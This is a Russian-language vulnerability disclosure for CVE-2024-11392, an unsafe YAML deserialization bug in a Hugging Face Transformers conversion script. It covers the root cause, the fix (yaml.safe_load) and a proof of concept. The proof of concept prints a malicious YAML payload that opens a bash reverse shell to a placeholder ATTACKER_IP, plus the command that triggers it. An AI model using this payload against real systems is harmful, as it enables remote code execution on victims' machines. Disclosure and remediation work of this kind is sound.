
Технические детали и эксплойт для CVE-2024-11392
Обзор высокого уровня и последствия уязвимости:
Уязвимость позволяет злоумышленнику выполнить произвольный код на хост-машине, предоставив вредоносный файл конфигурации скрипту convert_mlcvnets_to_pytorch.py в репозитории Hugging Face Transformers.
Если ничего не подозревающий пользователь использует стороннюю модель вместе с вредоносным файлом конфигурации, выполнение скрипта convert_mlcvnets_to_pytorch.py приведет к удаленному выполнению кода (RCE) на системе жертвы.
Уязвимый продукт
Анализ первопричины
Подробное описание уязвимости: Уязвимость возникает в результате небезопасной десериализации недоверенных данных. Скрипт использует функцию yaml.load с загрузчиком FullLoader, который загружает полный язык YAML и уязвим для выполнения кода.
Поток кода от ввода до уязвимого состояния:
ml-cvnet вместе с файлом конфигурации.convert_mlcvnets_to_pytorch.py и передает ему файл конфигурации.convert_mlcvnets_to_pytorch.py десериализует файл конфигурации и выполняет вредоносный код.Точка внедрения: Уязвимость возникает в точке, где вызывается yaml.load(yaml_file, Loader=yaml.FullLoader).
Постоянная ссылка GitHub: https://github.com/huggingface/transformers/blob/bdb9106f247fca48a71eb384be25dbbd29b065a8/src/transformers/models/mobilevitv2/convert_mlcvnets_to_pytorch.py#L57
Предлагаемые исправления: Замените yaml.load(yaml_file, Loader=yaml.FullLoader) на yaml.safe_load(yaml_file), чтобы предотвратить выполнение произвольного кода.
transformers_exploit.yaml, который откроет обратную оболочку на системе жертвы:!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1')"
convert_mlcvnets_to_pytorch.py и передайте файл transformers_exploit.yaml параметру --orig_config_path:> python convert_mlcvnets_to_pytorch.py --orig_checkpoint_path dummy_checkpoint.pt --orig_config_path transformers_exploit.yaml --pytorch_dump_folder_path dummy_output --task imagenet1k_256
Примечание: dummy_checkpoint.pt можно оставить как пустой файл, dummy_output как пустую директорию, а task как любой из вариантов, упомянутых в скрипте.
Ссылка для загрузки ПО: https://github.com/huggingface/transformers/tree/main
Инструкции по выполнению доказательства концепции: